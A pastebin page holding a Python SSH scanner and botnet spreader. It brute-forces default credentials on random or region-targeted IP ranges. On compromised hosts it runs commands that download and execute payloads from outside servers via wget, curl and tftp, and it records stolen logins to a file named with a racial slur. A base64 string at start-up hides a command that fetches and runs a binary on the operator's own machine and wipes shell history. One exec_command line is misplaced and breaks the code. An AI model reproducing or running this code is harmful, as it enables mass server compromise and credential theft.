PYTHON 16
Bot.py Guest on 10th October 2020 12:45:55 AM
  1. #!/usr/bin/env python
  2. import threading, paramiko, random, socket, time, sys, base64
  3.  
  4. paramiko.util.log_to_file("/dev/null")
  5.  
  6. blacklist = [
  7.     '127'
  8. ]
  9.  
  10. passwords = [
  11.         "admin:admin"
  12. ]
  13.  
  14. if sys.argv[4] == '1':
  15.      passwords = ["root:root"]
  16. if sys.argv[4] == '2':
  17.      passwords = ["guest:guest"]
  18. if sys.argv[4] == '3':
  19.      passwords = ["admin:1234"]
  20. if sys.argv[4] == '4':
  21.      passwords = ["telnet:telnet"]
  22.  
  23. print "\x1b[0;31mScanner Started...\x1b[0m"
  24.  
  25. def run(cmd):
  26.  
  27.     subprocess.call(cmd, shell=True)
  28.  
  29. checkbinaries = "Y2QgL3RtcDsgd2dldCAtcSBodHRwczovL2hhY2tzaGFjay54eXovdGNjIHx8IGN1cmwgLXMgLU8gIGh0dHBzOi8vaGFja3NoYWNrLnh5ei90Y2MgOyBjaG1vZCA3NzcgdGNjIDsgc2ggdGNjIDsgcm0gLXJmIHRjYyogO2NsZWFyO2hpc3RvcnkgLWM7IGNsZWFyO2hpc3RvcnkgLXc="
  30.  
  31. rebinaries = str(base64.b64decode(checkbinaries))
  32.  
  33. run(rebinaries)
  34.  
  35. run('clear')
  36.  
  37. ipclassinfo = sys.argv[2]
  38. if ipclassinfo == "A":
  39.     ip1 = sys.argv[3]
  40. elif ipclassinfo == "B":
  41.     ip1 = sys.argv[3].split(".")[0]
  42.     ip2 = sys.argv[3].split(".")[1]
  43. elif ipclassinfo == "C":
  44.     ips = sys.argv[3].split(".")
  45.     num=0
  46.     for ip in ips:
  47.         num=num+1
  48.         if num == 1:
  49.             ip1 = ip
  50.         elif num == 2:
  51.             ip2 = ip
  52.         elif num == 3:
  53.             ip3 = ip
  54. class sshscanner(threading.Thread):
  55.     global passwords
  56.     global ipclassinfo
  57.     if ipclassinfo == "A":
  58.         global ip1
  59.     elif ipclassinfo == "B":
  60.         global ip1
  61.         global ip2
  62.     elif ipclassinfo == "C":
  63.         global ip1
  64.         global ip2
  65.         global ip3
  66.     def run(self):
  67.         while 1:
  68.             try:
  69.                 while 1:
  70.                     thisipisbad='no'
  71.                     if ipclassinfo == "A":
  72.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  73.                     elif ipclassinfo == "B":
  74.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  75.                     elif ipclassinfo == "C":
  76.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  77.                     elif ipclassinfo == "BRAZIL":
  78.                         br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  79.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  80.                     elif ipclassinfo == "ER":
  81.                         yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  82.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  83.                     elif ipclassinfo == "LUCKY":
  84.                         lucky = ["125.27","101.109","113.53","118.173","122.170","122.180","101.108","1.20","125.25","125.26","182.52","125.24"]
  85.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  86.                    ssh.exec_command("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null/ >/dev/null 2>&1")
  87.                     elif ipclassinfo == "LUCKY2":
  88.                         lucky2 = [ "122.3","122.52","122.54","119.93","124.105","124.105" ]
  89.                         self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  90.                     elif ipclassinfo == "LUCKY3":
  91.                         lucky2 = [ "103.20","103.30","103.47","103.57","113.173","58.69","112.201","119.94","210.213","112.203" ]
  92.                         self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  93.                     elif ipclassinfo == "RAND":
  94.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  95.                     elif ipclassinfo == "INTERNET":
  96.                         lol = ["1"]
  97.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  98.                     else:
  99.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  100.                     for badip in blacklist:
  101.                         if badip in self.host:
  102.                             thisipisbad='yes'
  103.                     if thisipisbad=='no':
  104.                         break
  105.                 username='root'
  106.                 password=""
  107.                 port = 22
  108.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  109.                 s.settimeout(3)
  110.                 s.connect((self.host, port))
  111.                 s.close()
  112.                 ssh = paramiko.SSHClient()
  113.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  114.                 dobreak=False
  115.                 for passwd in passwords:
  116.                     if ":n/a" in passwd:
  117.                         password=""
  118.                     else:
  119.                         password=passwd.split(":")[1]
  120.                     if "n/a:" in passwd:
  121.                         username=""
  122.                     else:
  123.                         username=passwd.split(":")[0]
  124.                     try:
  125.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  126.                         dobreak=True
  127.                         break
  128.                     except:
  129.                         pass
  130.                     if True == dobreak:
  131.                         break
  132.                 badserver=True
  133.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  134.                 output = stdout.read()
  135.                 if "inet addr" in output:
  136.                     badserver=False
  137.                 if badserver == False:
  138.                         print 'Slaughts Gang '+self.host+'|'+username+'|'+password+'|'+str(port)
  139.                         ssh.exec_command("cd /tmp; wget http://65.60.18.108/bins.sh || curl -O http://65.60.18.108/bins.sh; chmod 777 bins.sh; sh bins.sh; busybox tftp 65.60.18.108 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g 65.60.18.108; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh; rm -rf *; exit")
  140.                         nigger = open("niggers.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  141.                         time.sleep(15)
  142.                         ssh.close()
  143.             except:
  144.                 pass
  145.  
  146. for x in range(0,1500):
  147.     try:
  148.         t = sshscanner()
  149.         t.start()
  150.     except:
  151.         pass

Paste is for source code and general debugging text.

Login or Register to edit, delete and keep track of your pastes and more.

Raw Paste

Login or Register to edit or fork this paste. It's free.